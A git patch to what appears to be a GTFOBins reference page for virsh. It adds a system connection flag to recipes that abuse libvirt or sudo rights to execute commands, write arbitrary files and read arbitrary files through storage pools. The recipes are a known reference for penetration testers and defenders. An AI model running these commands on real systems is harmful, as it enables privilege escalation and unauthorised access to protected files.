From e1b99dd03e8f2edba6f468c9c002724309e429ca Mon Sep 17 00:00:00 2001 From: eblazquez Date: Sun, 31 Jan 2021 19:49:31 +0100 Subject: [PATCH] Fix virsh --- _gtfobins/virsh.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/_gtfobins/virsh.md b/_gtfobins/virsh.md index f576c5f..5e387f8 100644 --- a/_gtfobins/virsh.md +++ b/_gtfobins/virsh.md @@ -1,6 +1,6 @@ --- description: | - This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group. + This requires the user to be privileged enough to connect to the libvirt daemon, i.e. being in the `libvirt` group or be able to run `virsh` as sudo. functions: command: @@ -22,23 +22,23 @@ functions: EOF - virsh create $TF - virsh destroy foo + virsh -c qemu:///system create $TF + virsh -c qemu:///system destroy foo file-write: - description: Write a file by creating a storage pool on the target directory and uploading the file as a volume. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. Directories are created with permissions 711, and files with permissions 600. These can be modified using `pool-create|vol-create` with an XML definition file instead of using `pool-create-as|vol-create-as`. Sample XML files can be obtained with `pool-dumpxml|vol-dumpxml`. code: | LPATH=file_to_read RPATH=file_to_save - virsh pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH) - virsh vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0 - virsh vol-upload $RPATH $LPATH - virsh pool-destroy $(dirname $RPATH|tr / _) + virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH) + virsh -c qemu:///system vol-create-as $(dirname $RPATH|tr / _) $(basename $RPATH) 0 + virsh -c qemu:///system vol-upload $RPATH $LPATH + virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _) file-read: - description: Read a file by creating a storage pool on the target directory and downloading the file as a volume. code: | RPATH=file_to_get LPATH=file_to_save - virsh pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH) - virsh vol-download $RPATH $LPATH - virsh pool-destroy $(dirname $RPATH|tr / _) + virsh -c qemu:///system pool-create-as $(dirname $RPATH|tr / _) dir --target $(dirname $RPATH) + virsh -c qemu:///system vol-download $RPATH $LPATH + virsh -c qemu:///system pool-destroy $(dirname $RPATH|tr / _) ---